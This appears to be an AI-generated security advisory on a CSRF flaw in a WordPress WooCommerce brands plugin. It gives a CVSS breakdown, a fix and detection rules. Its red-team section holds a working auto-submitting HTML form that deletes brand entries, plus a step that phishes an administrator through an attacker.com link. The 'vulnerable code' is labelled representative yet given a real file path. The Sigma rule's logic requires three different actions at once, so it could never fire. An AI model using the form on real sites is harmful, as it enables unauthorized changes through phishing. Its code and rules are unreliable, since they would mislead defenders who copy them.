CVE-2025-62890

Executive Summary

CVE-2025-62890 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Premmerce Brands for WooCommerce WordPress plugin, affecting versions up to and including 1.2.13. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying brand settings or creating/deleting brand entries, without the victim's consent. The attack requires social engineering to trick a logged-in admin into clicking a malicious link or visiting a crafted page.

As this is a WordPress plugin vulnerability, the attack surface is limited to sites running the affected plugin. The CVSS score of 4.3 (Medium) reflects the low complexity and network-based attack vector, but the requirement for user interaction reduces the immediate risk. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch as of the latest analysis.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin files and monitor for updates from the vendor. Since no patch is available, manual mitigation is required.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to initiate the attack.
• User Interaction (UI): Required (R) – Victim must click a link or visit a page.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality Impact (C): None (N) – No data disclosure.
• Integrity Impact (I): Low (L) – Limited ability to modify data (e.g., brand names).
• Availability Impact (A): None (N) – No service disruption.

Threat Level: Medium. The attack requires user interaction, but the low complexity and network-based vector make it a viable phishing target. Without a patch, all sites using the plugin are at risk.

Deep Dive & Mechanics

The vulnerability resides in the Premmerce Brands for WooCommerce plugin, which extends WooCommerce with brand taxonomy management. The plugin fails to implement CSRF nonces or tokens on administrative actions, such as adding, editing, or deleting brand terms. An attacker can craft a malicious HTML page or email that, when viewed by an authenticated WordPress admin, triggers a forged request to the plugin's admin-ajax.php or admin-post.php endpoints.

Technical Flow:

1. An attacker identifies a target WordPress site running the vulnerable plugin.
2. The attacker crafts a CSRF payload, e.g., a form that auto-submits to wp-admin/admin-ajax.php?action=premmerce_brand_delete&term_id=123.
3. The attacker lures an authenticated admin to visit the crafted page (e.g., via phishing email).
4. The admin's browser sends the forged request with their session cookies.
5. The plugin processes the request without verifying the origin, leading to unauthorized brand deletion or modification.

Root Cause: Missing CSRF protection in the plugin's AJAX handlers and admin pages. The plugin does not check for a valid nonce or referrer header before executing state-changing operations.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. Below is a representative example of the missing CSRF protection.

Vulnerable Code (premmerce-woocommerce-brands/admin/class-premmerce-brands-admin.php):

add_action('wp_ajax_premmerce_brand_delete', 'premmerce_brand_delete_callback');
function premmerce_brand_delete_callback() {
    $term_id = intval($_POST['term_id']);
    wp_delete_term($term_id, 'premmerce_brand');
    wp_die();
}

Patched Code (hypothetical):

add_action('wp_ajax_premmerce_brand_delete', 'premmerce_brand_delete_callback');
function premmerce_brand_delete_callback() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'premmerce_brand_delete')) {
        wp_die('CSRF validation failed.');
    }
    $term_id = intval($_POST['term_id']);
    wp_delete_term($term_id, 'premmerce_brand');
    wp_die();
}

The patched version adds a nonce check using wp_verify_nonce() to ensure the request originated from the legitimate admin interface.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and an admin user logged in.
• Ability to host a malicious HTML page (e.g., on an attacker-controlled server).

Exploitation Steps:

1. Create a malicious HTML file (csrf_exploit.html) with the following content:

<html>
<body>
<form id="csrf_form" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="premmerce_brand_delete">
    <input type="hidden" name="term_id" value="1">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send a phishing email to the target admin with a link to http://attacker.com/csrf_exploit.html.
4. When the admin clicks the link, the form auto-submits, deleting the brand with ID 1.

Note: No public exploit code exists; this is a conceptual demonstration.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual AJAX requests to admin-ajax.php with actions like premmerce_brand_delete, premmerce_brand_add, or premmerce_brand_edit.
2. Check server logs for referrer headers that do not match the site's domain.
3. Implement CSRF tokens manually by adding nonce checks to the plugin's code (see Remediation).

Lab Setup:

• Use a local WordPress installation (e.g., via Docker) with the vulnerable plugin.
• Install a security plugin like Wordfence to log AJAX requests.
• Simulate the attack and observe logs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=premmerce_brand_delete or similar.
  • Referrer headers from external domains (e.g., http://evil.com).
• File IOCs:
  • Unexpected modifications to the wp_terms table in the database (e.g., deleted brand terms).
• Log IOCs:
  • Repeated 200 responses to admin-ajax.php without a valid nonce parameter.

Detection Engineering

YARA Rule

rule Detect_CSRF_Exploit_Premmerce_Brands {
    meta:
        description = "Detects CSRF exploit attempts against Premmerce Brands for WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62890"
    strings:
        $ajax_action = "premmerce_brand_delete" nocase
        $ajax_action2 = "premmerce_brand_add" nocase
        $ajax_action3 = "premmerce_brand_edit" nocase
        $wp_ajax = "admin-ajax.php" nocase
    condition:
        any of ($ajax_action*) and $wp_ajax
}

Sigma Rule

title: CSRF Exploit Against Premmerce Brands for WooCommerce
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting admin-ajax.php with Premmerce brand actions without a valid nonce.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=premmerce_brand_delete'
            - 'action=premmerce_brand_add'
            - 'action=premmerce_brand_edit'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-62890 CSRF Exploit Premmerce Brands for WooCommerce";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=premmerce_brand_delete"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-62890;
    classtype:attempted-admin;
    priority:2;
)

Remediation & Mitigation

Immediate Mitigation (No Patch Available):

1. Disable the plugin until a patch is released.
2. Add CSRF nonces manually by editing the plugin files (see Vulnerable vs. Patched Code section).
3. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with suspicious actions from external referrers.
4. Educate administrators about phishing risks and the importance of verifying links.

Long-Term Remediation:

• Monitor the WordPress plugin repository for an official update.
• Consider replacing the plugin with an alternative that has active security maintenance.
• Regularly audit all plugins for CSRF vulnerabilities using tools like WPScan.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.